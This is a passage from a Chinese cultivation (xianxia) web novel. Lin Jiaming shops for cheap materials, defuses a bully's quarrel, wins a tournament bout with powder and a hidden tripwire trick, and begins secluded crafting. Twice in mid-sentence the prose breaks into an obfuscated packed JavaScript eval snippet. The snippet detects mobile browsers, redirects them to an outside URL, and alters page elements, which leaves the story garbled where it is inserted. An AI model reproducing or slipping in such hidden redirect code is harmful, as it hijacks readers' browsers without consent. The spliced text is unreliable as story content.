“运气,都是运气。”林家铭面不改色,顺手从怀里(其实是储物袋,师父给的,最低阶那种,只有一个立方)摸出几颗糖豆——山下买的普通零嘴,递给三人,“吃糖。那身法啊,就是眼睛要好,脑子要快,预判对手下一步往哪打,提前挪开就行。” 他说得轻描淡写,仿佛预判一个炼气期修士全力攻击的轨迹跟吃饭喝水一样简单。周圆三人听得似懂非懂,但都觉得高深莫测。 “林师兄接下来要去哪?”钱富贵小心地问。 “去坊市逛逛,看看有没有趁手的……嗯,材料。”林家铭没说想买石灰粉和绊马索。 “我们跟你一起去吧!”周圆立刻道,“坊市我们熟,哪家店坑人,哪家店有稀奇古怪的玩意儿,门儿清!” 林家铭看了他们一眼。周圆眼神清澈热切,赵铁柱老实巴交,钱富贵透着点小精明但没坏心。三个外门底层小透明,修为都只是炼气一二层的样子,灵力波动微弱。 “行啊,带路。”他爽快答应。 有本地向导就是方便。外门坊市在一片相对平坦的山谷里,沿着一条小溪两侧搭建了不少简陋的店铺和摊位,人来人往,大多是外门弟子,也有少数穿着内门服饰的在这里淘货或处理用不上的东西,喧闹市井气扑面而来。 周圆三人果然熟悉,带着林家铭穿行其中,避开几个明显宰生客的摊位,直接来到一片相对冷清的区域,这里摊位上摆的多是些破损法器、不明矿石、古旧书籍、奇怪植物根茎等“疑似垃圾”。 “林师兄,你要找什么样的材料?”钱富贵问。 “唔,隐蔽性好,能出其不意,最好便宜。”林家铭摸着下巴。 三人面面相觑,这要求……很揽月峰。 正逛着,林家铭脚步在一个摊前停住了。摊主是个愁眉苦脸的外门老弟子,摊位上零零散散摆着些东西。吸引林家铭目光的,是角落里几块灰扑扑、表面粗糙不平的石头,还有一小堆黑乎乎的、像是金属融化后又凝固的碎渣。 他蹲下身,拿起一块石头,入手微沉,灵力探入,感应很微弱,但其中灵气属性极其混杂、惰性,难以引动。他又捡起一点金属碎渣,同样如此。 “师兄,这些怎么卖?”他问。 摊主有气无力:“‘沉灰石’,‘浊铁渣’,都是炼器剩下的边角废料,灵气驳杂难以利用,一块下品灵石,全部拿走。” 旁边周圆小声提醒:“林师兄,这东西真没用,以前有人买过想提炼,费了牛劲也分离不出纯净灵气,还容易干扰自身灵力运转。” “是吗?”林家铭笑了笑,指尖一丝混沌灵力悄然注入那块“沉灰石”。驳杂的灵气被他的灵力一引,不仅没有排斥,反而像是找到了归宿,微微活跃起来,虽然依旧微弱,但那种“共鸣”感,和之前那块“混元石”边角料有点像,只是更微弱、更混乱。 好东西啊!对别人是垃圾,对他这混沌灵根,说不定就是“充电宝”或者“烟雾弹”原材料! “我要了。”他痛快地掏出一块下品灵石。 摊主愣了一下,大概没想到真有人买这破烂,赶紧用块破布给他包好。 接着,林家铭又在钱富贵的指点下,用极低的价格买了几包品质很一般的“迷目粉”(其实就是加了点微弱麻痹草药的石灰粉改良版),几卷初阶妖兽筋鞣制的、弹性极佳的“韧线”,一些边角料皮革,还有一把凡铁打造的、毫不起眼的短刃。 周圆三人看着他把这些乱七八糟的东西收进储物袋,表情都有点懵。赵铁柱忍不住问:“林师兄,你买这些……是要做什么法宝吗?” “法宝?”林家铭眨眨眼,“算是吧,居家旅行,阴人……呃,防身必备。” 正说着,前面传来一阵喧哗和呵斥声。 “没长眼睛啊?撞坏了我们王师兄新得的‘青锋剑鞘’,赔得起吗你!” 只见几个穿着天枢峰内门弟子服饰的人,正围着一个穿着打满补丁旧衣、低着头的外门少年。少年怀里紧紧抱着几本旧书,脚下散落着一些晒干的草药。领头那个内门弟子,手里拿着一个看起来颇为精致的青色剑鞘,剑鞘尾部有一道新鲜的擦痕。 “对、对不起,王师兄,我不是故意的,人太多,我没站稳……”外门少年声音发颤,头埋得更低。 “对不起有用?”那王师兄冷笑,掂了掂剑鞘,“这‘青锋木’剑鞘,值二十块下品灵石!看你这样也赔不起,这样吧,跪下来磕三个头,再把你这堆破烂草药赔给我,算你走运!” 周围有人围观,但没人出声。天枢峰内门弟子,还是有点名气的王钊,欺负一个外门穷小子,太常见了。 周圆脸色一变,下意识看向林家铭,低声道:“那是吴耗子,住在我们隔壁屋的,人特别老实,就是总倒霉……” 林家铭没说话,目光落在王钊手里的剑鞘上,又扫过地上那些晒干的、品相普通的止血草、宁神花。他忽然迈步走了过去。 “哟,这不是揽月峰的林师弟吗?”王钊也看到了林家铭,脸上露出似笑非笑的表情,“怎么,想给这穷鬼出头?”他显然听说了上午唢呐的事,语气带着讥讽。 林家铭走到近前,先看了看地上散落的草药,又仔细看了看王钊手里的剑鞘,特别认真地指着那道擦痕:“王师兄,你这剑鞘……伤得挺重啊。” 王钊一愣,还没反应过来,林家铭已经弯下腰,从吴耗子散落的草药里,捡起一小截干枯的、毫不起眼的草根,又顺手从自己怀里(其实是储物袋)摸出个小玉瓶,倒出两滴清澈的液体——那是他之前练习灵力控水时凝的,没啥特别,就是干净。 他用那草根蘸了点水,然后,在所有人目瞪口呆的注视下,开始在那道擦痕上……涂抹。 “林铭家!你干什么!”王钊怒道,想抽回剑鞘。 “别动,王师兄,”林家铭头也不抬,语气严肃,“我在帮你修复。这‘青锋木’质地紧密,寻常打磨很难去除痕迹,但我恰好知道一种古法,用‘铁线草’根茎汁液混合无根水,可以暂时浸润木质,使其轻微膨胀,填平细微划痕……你看。” 随着他看似胡乱地涂抹,那道新鲜的擦痕,颜色竟然真的变淡了一些,虽然仔细看还能看出痕迹,但比起刚才确实不那么刺眼了。 王钊和周围的人都看呆了。铁线草?那不就是路边最常见的杂草吗?根茎还能修复法器?闻所未闻! 林家铭涂完,把那截草根一扔,拍拍手,一脸诚恳:“王师兄,好了。虽然不能完全复原,但至少不难看了。这‘铁线草’虽然不值钱,但找起来也费功夫,还有我这无根水,也是采集晨曦露珠所凝……看在这位师弟不是故意的份上,您大人有大量,就算了吧?毕竟,为了个剑鞘,闹大了,让人知道您为难一个外门师弟,还差点被‘铁线草’糊弄……哦不,是修复,多不好听,是吧?” 他语速不快,声音也不高,但每个字都清晰传到王钊耳朵里。尤其是最后那句“糊弄”,说得轻飘飘,却让王钊心里咯噔一下。 他看着剑鞘上那道确实变淡了的痕迹,又看看林家铭那张无比真诚、还带着点“我为你好”表情的俊脸,再感受到周围弟子们投来的各种目光,心里那股火憋得难受,却又发作不出来。 难道真要为了这道痕迹,继续纠缠,然后被人说欺负人还差点被杂草骗了?这小子的话,听起来像劝和,细品全是软钉子! “……哼!”王钊脸色变幻,最终狠狠瞪了林家铭和地上的吴耗子一眼,一把抽回剑鞘,“算你走运!我们走!”带着几个跟班,挤开人群走了。 围观人群发出低低的议论声,看向林家铭的眼神又多了几分惊奇。用铁线草根糊弄……呃,化解冲突?这揽月峰的弟子,路子果然野。 吴耗子这才敢抬头,是个面色发黄、身材瘦小的少年,眼睛很大,此刻满是感激和后怕,对着林家铭就要跪下:“多、多谢师兄!多谢师兄!” 林家铭一把扶住他:“别,男儿膝下有黄金。以后走路小心点。”他弯腰帮吴耗子把地上的草药和书捡起来,递还给他,顺口问了句:“喜欢看书?” 吴耗子抱着书和草药,用力点头,小声道:“喜、喜欢,就是买不起玉简,只能捡些别人不要的旧书看……” 林家铭看了看他怀里那几本封皮都快掉光的书,《山川异志录》、《低阶妖兽图解(残缺)》、《常见草药一百种(手抄本)》,确实都是大路货。 “喜欢就好。”林家铭没再多说,转身对周圆三人道:“走吧,东西买得差不多了。” 周圆、赵铁柱、钱富贵连忙跟上,看林家铭的眼神已经不只是崇拜,简直是在看神仙。吴耗子站在原地,看着林家铭的背影,攥紧了怀里的旧书。 回去的路上,周圆终于忍不住问:“林师兄,那铁线草根……真能修复法器?” 林家铭瞥他一眼,笑了:“你说呢?” 周圆:“……不能。” “那痕迹怎么变淡的?” “……”周圆挠头。 钱富贵眼睛一转,小声道:“是林师兄你涂抹的时候,用灵力悄悄‘磨’了一下?或者那无根水有问题?” 林家铭赞许地看了钱富贵一眼:“脑子转得挺快。无根水就是普通水,不过嘛,”他指尖冒出一丝几乎看不见的、带着微弱“润泽”和“抛光”意念的混沌灵力,“灵力用得好,抹平点木头毛刺,不难。” 三人恍然,赵铁柱憨笑道:“林师兄,你真厉害!不仅厉害,心肠还好!” “心肠好?”林家铭失笑,摇摇头,“谈不上。只是看不惯有些人仗着点身份,就把别人踩进泥里。况且,”他语气随意,“帮个小忙,结个善缘,说不定哪天就用上了呢?这叫投资。” 他说的轻松,周圆三人却听得若有所思。 回到揽月峰山脚,分别时,林家铭从储物袋里掏出三张他下午刚画的、用混沌灵力“加持”过的改良版“小清风符”,递给三人:“拿着,防身,或者卖了换点零花都行。画的丑,别嫌弃。” 周圆接过符箓,入手就感觉到比普通“小清风符”更灵动充沛的灵力,眼眶有点热:“林师兄……” “行了,别肉麻。”林家铭摆摆手,“第二轮比试在三天后,你们有空来看热闹。我回去了。” 看着林家铭晃晃悠悠上山的背影,周圆紧紧握着符箓,对赵铁柱和钱富贵说:“林师兄,是咱们的朋友了!” 赵铁柱重重点头。钱富贵则看着符箓上那略显潦草却灵力流转顺畅的纹路,低声道:“这位林师兄……深不可测啊。跟着他,准没错。” --- 三天时间,林家铭没干别的。 白天,他在自己小院后面的林子里,用买来的“沉灰石”、“浊铁渣”做实验。他发现,将这些“垃圾”粉碎成细末,用混沌灵力小心引导、混合,可以制成一种灰扑扑的粉末。这种粉末撒出去,不仅能一定程度上干扰对手的灵力感知(因为灵气属性太乱),如果他将自身一丝极淡的、带着“迟滞”、“沉重”意念的混沌灵力附在上面,还能让沾到的人动作瞬间变得笨重一点点,虽然效果微弱,持续时间短,但关键时刻,哪怕慢0.1秒,也够做很多事了。他给这粉末起了个名:“混沌灰”。 晚上,他琢磨那韧线和短刃。短刃太普通,他试着将混沌灵力长时间、缓慢地浸润其中,模拟“锋锐”、“破甲”的意念。几天下来,短刃表面看不出变化,但刃口处偶尔会流转过一丝极淡的、不稳定的异彩。至于韧线,他结合上辈子的一些物理知识和钱富贵提到的小机关原理,弄出了几个简易的绊索、弹射陷阱模型,用边角料皮革做了几个能藏在袖子里、一次性的小型机括,里面可以放“迷目粉”或者“混沌灰”。 当然,修炼也没落下。那块“混元石”边角料他时时握在手里,虽然没发现直接吸收灵气的功能,但握着它运转混沌灵力时,确实感觉灵力更“听话”一点点,对各种属性变化的尝试也稍微顺畅一丝。聊胜于无。 第三天傍晚,第二轮比试的对战名单出来了。 林家铭抽空去看了一眼。 丙字二号台,第三场。对手:开阳峰,孙虎。 开阳峰,体修。孙虎,据说一身横练功夫已入门,力大无穷,防御惊人,是这次小比体修中的热门。 “体修啊……”林家铭摸着下巴,笑了,“皮糙肉厚,力气大,近身战猛……不错。” 他转身回了揽月峰,从床底下拖出一个旧箱子,翻找起来。 很快,第二轮比试日到来。 青云坪依旧热闹。经过第一轮,林家铭已经成了“名人”,一出现就吸引了不少指指点点的目光。他依旧那副懒散样子,找了个角落靠着,等待上场。 孙虎是个魁梧的壮汉,比林家铭高出一个头还多,胳膊比林家铭大腿还粗,登上丙字二号台时,脚步沉重,擂台都仿佛震了震。他睥睨着缓缓走上台的林家铭,咧嘴露出森白的牙齿:“林家铭?听说你路子很野?可惜,在绝对的力量面前,小把戏没用。我会让你知道,体修的拳头有多硬!” 裁判宣布开始。 孙虎果然没有废话,低吼一声,全身肌肉贲张,皮肤泛起一层淡淡的土黄色光芒,整个人如同炮弹般冲向林家铭!没有花哨,就是最直接、最暴力的冲撞加直拳!拳风呼啸,势大力沉! 台下响起惊呼,仿佛已经看到林家铭被一拳轰飞的场景。 然而,面对这凶悍绝伦的一拳,林家铭做了一个让所有人意想不到的动作。 他不仅没躲,反而也向前踏了一步,右手握拳,看似轻飘飘地迎了上去!拳头上没有任何灵光闪耀! “硬碰硬?他疯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189064|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!”周圆在看台上急得差点跳起来。 双拳即将对撞的瞬间,林家铭的拳头忽然极其细微地抖了一下,轨迹发生了几乎不可察的偏转,不再是拳面对拳面,而是擦着孙虎的拳头边缘滑了过去,同时他身体借着冲势一侧,与孙虎错身而过。 孙虎只觉得拳头打在了空处,势在必得的一击落空,重心不免前倾。而林家铭在错身而过的刹那,左手袖口似乎无意识地拂过孙虎的后腰。 “嗯?”孙虎只觉得后腰被什么东西轻轻碰了一下,有点痒,没在意,立刻拧身,蒲扇般的大手带着恶风抓向林家铭的后颈!“滑溜的小子!” 林家铭却像是背后长了眼睛,矮身,前冲,再次险之又险地避开,脚步在擂台上划出奇怪的弧线,始终和孙虎保持着若即若离的距离,绝不正面硬撼。 孙虎几次扑空,有些焦躁,怒吼连连,拳脚更加猛烈,擂台被他踩得咚咚作响。可林家铭就像狂风暴雨中的一叶扁舟,看似惊险,却总能在最后时刻堪堪避开,身法诡异得让人摸不着头脑。他偶尔也会反击,用那柄不起眼的短刃划向孙虎的关节、腋下等相对薄弱处,但孙虎体表那层土黄光芒防御极强,短刃划上去只留下浅浅白痕,根本破不了防。 “哈哈!挠痒痒吗?”孙虎狂笑,更加放心,“你就只会躲吗?揽月峰就教出你这种没胆的货色?” 台下也开始出现嘘声。毕竟,一直躲闪,看起来确实有些“没种”。 开阳峰的弟子更是大声鼓噪:“孙师兄,锤爆他!”“让他见识见识体修的厉害!” 周圆三人紧张得手心出汗。 就在孙虎又一次势大力沉的鞭腿扫来,林家铭看似狼狈地就地一滚避开,滚到了擂台边缘。 孙虎眼中凶光一闪,机会!他猛踏地面,就要扑过去将林家铭直接撞下擂台! 就在他发力前冲的瞬间—— “噗!” 一声轻微的、像是有什么东西绷断的声音,从他后腰传来。 紧接着,孙虎那充满爆发力的前冲动作,突然毫无征兆地顿了一下!不是被阻挡,而是像正在狂奔的野牛,突然有一条后腿使不上劲,或者脚下一滑的那种失衡感! 虽然只是一刹那的迟滞,但在高速战斗中,这已经是致命的破绽! 林家铭等的就是这一刻!他刚从地上跃起,身形还未完全站稳,右手却已闪电般甩出! 不是短刃,也不是拳头。 是一把灰扑扑的粉末,劈头盖脸,精准地洒向了因为那一顿而身形微晃、门户略开的孙虎面门! 孙虎下意识闭眼,但粉末已经沾了一脸,更有一股怪异的气息顺着口鼻钻入,让他体内的灵力运转猛地一滞,肌肉发力也出现了极其细微的不协调。那层土黄色护体光芒,竟然也微微波动了一下! “什么东西?!”孙虎惊怒。 回答他的,是林家铭鬼魅般贴近的身影,以及……那把短刃。 这一次,短刃没有划向他的身体,而是以一种刁钻的角度,疾刺他因为护体光芒波动而暴露出的、膝盖后方的一处细小经络节点! “嗤!” 一声轻响,短刃刺入半寸! 没有鲜血狂飙,但孙虎整条右腿猛地一麻,酸软无力,支撑不住身体,“噗通”一声单膝跪倒在地! 他怒吼着,挥拳再打,可林家铭早已退开,站在几步外,好整以暇地看着他。 孙虎想站起,右腿却不停使唤,那麻痒感还在蔓延。他想催动灵力驱散异常,却发现体内灵力流转不畅,脸上那些灰色粉末似乎还在持续散发着干扰。更要命的是,刚才后腰那一下诡异的“顿挫”,让他核心发力都受了影响。 他挣扎了几下,竟然没能立刻站起来! 裁判长老:“……” 这又是什么情况? 台下观众:“……” 体修孙虎,被一把灰和一刀捅跪了? 林家铭看着半跪在地、怒目圆睁却一时无法行动的孙虎,叹了口气,语气特别真诚:“孙师兄,承让了。你看,打架不能光用蛮力,得用脑子。哦,还有,”他指了指孙虎的后腰,“你裤腰带,好像松了。” 孙虎下意识往后腰一摸,脸色瞬间变得极其精彩——他结实的皮质腰带上,拴着的一个用来挂杂物的小皮环,不知何时断了一小截,断口整齐,像是被什么极其锋利的东西瞬间割断的。联想到刚才后腰那一下轻痒和随后的顿挫…… “你……你阴我?!”孙虎终于明白过来,气得浑身发抖。 “阴?”林家铭一脸无辜,“孙师兄此言差矣。比试规则,没说不能用粉末,也没说不能攻击关节穴位吧?至于你裤腰带……可能是你自己练功太猛,撑坏了?” “你!!!”孙虎一口老血憋在胸口。 裁判长老看着这诡异的场面,又看看确实暂时失去行动能力的孙虎,沉默了三秒,高声道:“丙字二号台,第三场,揽月峰林家铭,胜!” 台下再次哗然! 这一次,不仅是惊讶,更多是困惑和一种说不清道不明的寒意。 孙虎怎么输的?那粉末是什么?那一下顿挫怎么回事?还有裤腰带…… 如果说第一场的唢呐是离谱,那这一场,就有点……邪门了。赢得一点都不“仙”,充满了各种上不得台面的小算计和诡异手段。 可偏偏,又没违反规则。 天枢峰那边,沈剑抱剑而立,看着台上正对裁判行礼、然后慢悠悠走下台的林家铭,眼神冰冷:“旁门左道,终非正道。若遇我之剑,必摧之。” 林家铭似有所感,朝沈剑的方向看了一眼,露出一个标准的、温和无害的笑容。 沈剑冷哼一声,移开目光。 “林师兄!太厉害了!你怎么做到的?”一下台,周圆三人就围了上来,钱富贵更是两眼放光,“那粉末!还有孙虎怎么突然腿软了?” “一点小技巧。”林家铭笑笑,没多解释,“走,今天我请客,山下小馆子,庆祝一下。” “好耶!”周圆欢呼。 四人勾肩搭背(主要是周圆勾着林家铭)往外走,浑然不在意周围那些复杂的目光。 刚走出没多远,一个瘦小的身影怯生生地拦在前面,是吴耗子。他手里捧着一个洗得发白的布包,里面鼓鼓囊囊装着些晒干的野果和几块粗糙的麦饼。 “林、林师兄,”吴耗子把布包递过来,脸涨得通红,“谢、谢谢你上次帮我……我没什么好东西,这些……给你。” 林家铭看了看那些一看就是他自己从后山捡来、省下口粮做的干粮,伸手接过,拍拍吴耗子的肩膀:“谢了,正好饿了。以后有人欺负你,报我名字……嗯,或者直接来找我。” 吴耗子用力点头,眼眶又红了。 看着吴耗子跑开的背影,周圆感叹:“吴耗子人其实挺好的,就是太老实,总被欺负。” “老实不是罪。”林家铭咬了口麦饼,有点硬,但很实在,“走吧,吃饭去。明天开始,我要闭关几天,琢磨点新玩意儿。” “又要闭关?”周圆好奇,“林师兄你又有什么新点子?” 林家铭咽下麦饼,望向青岚宗远处云雾缭绕的群山,眼底闪过一丝兴奋的光。 “点子嘛,多得是。不过下一轮对手,估计不那么好糊弄了。得准备点……更带劲的。” 比如,那把唢呐,好像还能开发点新功能? 比如,刚赢的二十块下品灵石,该去买点啥材料呢? 修仙之路漫漫,光靠阴人和躲闪可走不远。是时候,主动搞点事情了。 4. 闭关,搞钱,与师门秘宝 第小比第二轮获胜的二十块下品灵石到手,林家铭没急着去山下小馆子庆祝,反而打发走了眼巴巴的周圆三人(答应下次带他们吃更好的),自己揣着灵石和那份干粮,晃悠回了揽月峰。 师父凌霄真君不出意外地不在家,殿门紧闭,估计又在哪个旮旯醉生梦死。 林家铭没在意,回到自己那间简陋的弟子房,关上门,把赢来的灵石和吴耗子给的干粮放在桌上,自己则盘膝坐到床上,眉头微锁。 “孙虎那一下,是侥幸。”他低声自语,复盘着擂台上的细节。 孙虎是炼气五层,体修,主攻防御和力量。自己靠“混沌灰”的灵力干扰,配合精准打击经络节点(还得益于短刃被混沌灵力浸润后那一点点不稳定的“破甲”属性),再加上提前用韧线机关暗中破坏对方腰带扣环影响其发力核心,才险之又险地赢了。 这里面算计太多,容错率太低。任何一个环节出问题,比如“混沌灰”效果没那么好,比如短刃没刺中那个微小节点,比如孙虎反应更快一点……倒下的可能就是自己。 “阴招是好用,但前提是得有阴人的资本。”林家铭很清醒。他的混沌灵根潜力无穷,但现在还在“薛定谔”阶段,灵力总量也就炼气三四层左右,操控倒是越来越精细,但架不住底子薄。 遇到真正速度快、攻击范围大、或者修为碾压的对手,比如那个天枢峰的沈剑(炼气六层,剑修),自己的小把戏很可能来不及施展就被一剑劈了。 “修为,必须提上去。”他握了握拳。光靠每天按部就班引气,太慢了。混沌灵根没有固定属性,无法直接吸收单一属性的灵石,这也是他之前没怎么用灵石修炼的原因——效率低得令人发指,大部分灵气都因为属性不合散逸了。 他拿起一块下品灵石,尝试吸收。果然,灵石中精纯的土属性灵力涌入体内,混沌灵根本能地“挑挑拣拣”,只有极少一部分被转化吸收,效率不到正常单灵根修士的五分之一。 “啧,败家。”林家铭肉疼地停下。二十块灵石,按这效率,全用了也提升不了多少。 他目光落在桌上那块黑黢黢的“混元石”边角料上。师父说这玩意儿对他混沌灵根有温养作用…… 他拿起石头,握在手心,再次运转混沌灵力。那微弱却清晰的共鸣感再次出现。这一次,他尝试更主动地将灵力探入石头内部。 石头内部结构似乎很奇特,灵气极其微弱且混乱不堪,像一团纠缠在一起的乱麻,各种属性都有,但又都不强,处于一种惰性的平衡状态。 林家铭的混沌灵力进入,就像一滴水落进这团乱麻。他没有试图去理顺或吸收,而是让自己的灵力,模拟出石头内部那种“混乱”但又“共存”的意境。 奇妙的事情发生了。 石头内部那些惰性的、混乱的灵气,仿佛被激活了一丝,开始极其缓慢地、顺着林家铭灵力的引导,流入他的经脉。这些灵气虽然微弱混乱,但似乎……格外“兼容”?进入他体内后,并未引发属性冲突,反而被混沌灵根轻易地包容、转化,变成他自身混沌灵力的一部分。 效率依然不算高,但比吸收单一属性灵石强多了!而且,在运转灵力与石头共鸣的过程中,他对自身混沌灵力的掌控,似乎也微妙地顺畅了一丝。 “果然是好东西!”林家铭眼睛亮了。这块边角料不大,蕴含的混乱灵气总量有限,但提供了一个思路——寻找类似的、蕴含多种属性混乱灵气,或者干脆就是“无属性”但灵气充沛的东西来辅助修炼。 那么问题来了:这种“混元石”或者类似的东西,哪里找?贵不贵? 他想起师父随口说的“边角料”。能被称为边角料的,原石肯定更大,来源……师父说不定知道。 但指望师父主动给?不如指望母猪上树。 “得自己搞钱,买资源,或者……找路子换。”林家铭思路清晰起来。光靠宗门每月那点微薄的弟子份例和小比奖励,杯水车薪。得开源。 他盘点了一下自己目前能用来“开源”的资本: 1. 混沌灵根的适配性:可以给任何属性(或混杂属性)的材料、符箓等进行“优化”或“附魔”,虽然效果不稳定,但偶尔能出点小极品?这个需要实验,而且不能暴露。 2. 上辈子的知识储备和“阴间”思路:开发一些修仙界没有的、或者改良过的“小玩意儿”,比如加强版“混沌灰”、各种阴人机关、改良版“唢呐音攻”等。这些可以卖,或者用来交换资源,但同样需要隐蔽,最好通过马甲。 3. 师父的名头(核威慑):不能常用,但关键时候可以唬人,或者……用来争取一些“试药”、“测试新法器”之类的有风险但也有报酬的任务? 4. 刚刚建立的小圈子(周圆三人+吴耗子):可以收集信息,跑腿,处理一些自己不便于出面的杂事。 “当务之急,是提升修为到炼气中期(五层以上),并且掌握一两门正经的、能拿得出手的攻防手段,不能总靠阴招和身法。”林家铭定下短期目标,“同时,开始尝试用混沌灵力‘加工’点东西,看看有没有市场。” 说干就干。 接下来几天,林家铭开始了进入修仙界后第一次正式闭关。 白天,他握着“混元石”边角料修炼,努力与那种混乱灵气共鸣,提升修为和灵力掌控。晚上,他捣鼓那些买来的材料。 他用剩余的“沉灰石”和“浊铁渣”粉末,尝试加入不同比例的普通朱砂、兽血,再用混沌灵力以不同“意念”(如“粘附”、“爆发”、“迟缓”、“隐匿”)进行调和,制作了七八种效果各异的“加强版粉末”,分别用小玉瓶装好,贴上自己才懂的标记。 他又拆解了买来的几个最便宜的初阶攻击、防御符箓(“火弹符”、“金甲符”),研究其灵力纹路结构。然后用普通符纸和朱砂,尝试绘制。不出所料,画出来的符箓纹路歪歪扭扭,灵力注入后要么没反应,要么“噗”一声自燃。 但当他用混沌灵力,不是单纯注入,而是模拟符箓所需属性的“意”,同时引导朱砂中的灵气按照某种“混沌兼容”的模式流转时,画出来的符箓……虽然纹路依旧不标准,灵力波动也古怪,但居然能用! 一张被他命名为“混沌·小火球”的符,激发后飞出的不是标准火球,而是一团颜色不稳定(在橙红和暗红之间闪烁)、飞行轨迹略飘忽、但温度和爆炸威力似乎比标准“火弹符”还略强一丝的……怪火球。 “这算什么?变异符箓?”林家铭看着被炸出一个浅坑的测试石(从后山捡的),摸着下巴,“威力还行,就是不稳定,而且这灵力波动太独特,容易被人认出。” 他暂时放弃大规模制符卖钱的想法,这太容易暴露根脚。但可以留着自己用,或者关键时候当一次性消耗品。 他还尝试用混沌灵力长时间温养那把凡铁短刃。几天下来,短刃表面依旧不起眼,但刃口偶尔流转的异彩更频繁了些,锋利度和对灵力的传导性似乎也有微弱提升。 闭关第五天,他的修为在水磨工夫和“混元石”辅助下,终于突破了炼气四层,正式踏入炼气中期门槛。灵力总量和凝实度都有明显提升,对混沌灵力的变化操控也更为得心应手。 出关那天,他感觉神清气爽,虽然距离炼气五层还有距离,但至少不再是垫底了。 刚推开房门,就看见一道传讯符悬在门口,灵力微光闪烁。是宗门执事堂发来的,提醒他小比第三轮(十六进八)在三日后举行,并附上了对手信息。 对手:神工峰,赵乾。 神工峰,炼器一脉。赵乾,炼气五层,据说在低阶法器炼制和操控上颇有天赋,是小比热门之一。 “炼器师啊……”林家铭咂咂嘴,“估计浑身上下都是法器,不好近身,远程对轰我也吃亏……得想个新法子。” 他没急着琢磨战术,而是先下山一趟,找到望眼欲穿的周圆,给了他五块下品灵石,让他和赵铁柱、钱富贵帮忙去坊市和山下城镇,打听几种材料的信息和市价,顺便留意有没有什么报酬不错、又不太引人注目的零散任务。 “林师兄,你要这些材料干嘛?‘无属性灵石胚’、‘五行均衡的妖兽骨粉’、还有‘空冥沙’……这些都不常见,有的还很贵。”周圆看着清单,疑惑道。 “随便问问,长长见识。”林家铭面不改色,“有消息立刻告诉我。灵石你们看着用,有合适的任务也记下来。” 打发了周圆,林家铭犹豫了一下,还是朝揽月峰主殿走去。师父好几天没见了,或许……能从师父那里抠点信息出来? 主殿一如既往地安静(且空旷)。林家铭在殿外喊了两声“师父”,没回应。他熟门熟路地推门进去,果然没人。师父的蒲团边扔着几个空酒葫芦,空气里还残留着淡淡的酒气。 他目光扫过空旷的大殿,除了几根柱子和那个破旧蒲团,几乎啥也没有。师父这日子过得也太清贫了……等等。 林家铭目光落在殿角。那里随意堆着一些杂物,大多是破损的、看不出原本模样的法器碎片,一些蒙尘的玉简,几块颜色各异的矿石边角料,还有……一个落满灰尘、半人高的破旧丹炉。 他走过去,踢了踢那堆“垃圾”。师父说过,让他自己摸索。那这些师父看不上的破烂里,会不会有他能用的? 他蹲下身,开始翻找。法器碎片灵力尽失,玉简大多空白或记录着残缺无用的信息,矿石边角料也多是单一属性。直到他拿起一块巴掌大、灰白色、表面布满细密孔洞、轻得像木头的石块。 灵力探入,感应极其微弱,但属性……似乎是“空”?或者说,它本身几乎不含灵气,但对各种属性的灵气都有一种奇特的“包容”和“存储”潜力,只是容量很小。 “这是……‘纳元石’的劣质品?”林家铭想起在某本杂书上看到过类似描述。纳元石是制作储物袋、空间法器的辅助材料之一,品质好的极其珍贵。手里这块,明显是杂质多、品质差的边角料,存储空间估计可以忽略不计,但那种“包容”特性…… 他心头一动,尝试将一丝混沌灵力注入。灰白石块上的孔洞仿佛微微亮了一下,灵力顺利进入,在其中流转,竟然没有散逸,也没有被排斥! “好东西!”林家铭眼睛又亮了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那几截金属丝,被他编成了一个小巧的、可以套在手指上的环,末端极细,平时缩在环内,需要时可以弹射出一小段,锋利异常,且因为极细,几乎无声无息。他命名为“无影丝”。 至于破丹炉,他反复研究,甚至尝试用混沌灵力模拟不同属性的“火焰”去灼烧内壁,除了让炉子更黑一点,依旧没发现特殊之处。那丝微弱的共鸣再也没出现过。 “可能是我想多了。”林家铭暂时放弃,把丹炉踢到墙角。 第三天傍晚,周圆带来了消息。 “林师兄,你让我打听的东西,‘无属性灵石胚’和‘五行均衡妖兽骨粉’坊市偶尔有出现,但价格很高,而且要求用中品以上灵石或者等价物品交换。‘空冥沙’就更稀有了,据说只有某些特殊秘境或者拍卖会上才有。”周圆汇报着,“另外,执事堂那边新挂了个任务,是百草峰发布的,长期有效:测试新改良的‘凝神散’和‘爆气丸’的药效及副作用,报酬按测试次数和反馈详细程度给,一次一到三块下品灵石。不过……据说这药不太稳定,以前有试药的弟子出过点小问题,所以接的人不多。” 测试新药?林家铭心中一动。有风险,但报酬相对不错,而且百草峰发布……或许能接触到一些药材或者炼丹方面的信息?混沌灵根,能不能模拟药性?或者……化解副作用? “还有,”周圆压低声音,“我听说,神工峰的赵乾师兄,为了这次小比,特意请人定制了一套‘子母连环刃’,据说能分能合,变幻莫测,很难对付。好多人都觉得,林师兄你这次悬了。” “子母连环刃?”林家铭挑眉,“听起来是有点麻烦。” 不过,他摸了摸怀里新制的“混沌灰”改良版和“无影丝”,又看了看角落里那个破丹炉。 “麻烦,才有意思。”他笑了笑,“周圆,帮我个忙,去执事堂把那个试药任务接下来。从明天开始,我每天去百草峰‘试药’。” “啊?”周圆一惊,“林师兄,那药听说……” “没事,我心里有数。”林家铭摆摆手,“另外,帮我留意一下,坊市有没有人卖……嗯,比较吵的,或者声音有特点的低阶妖兽材料,比如‘叫魂鸟’的羽毛,‘震山蛙’的声囊之类的。” “哦,好……”周圆虽然疑惑,还是应下。 打发走周圆,林家铭独自站在小屋窗前,望着外面沉沉的暮色。 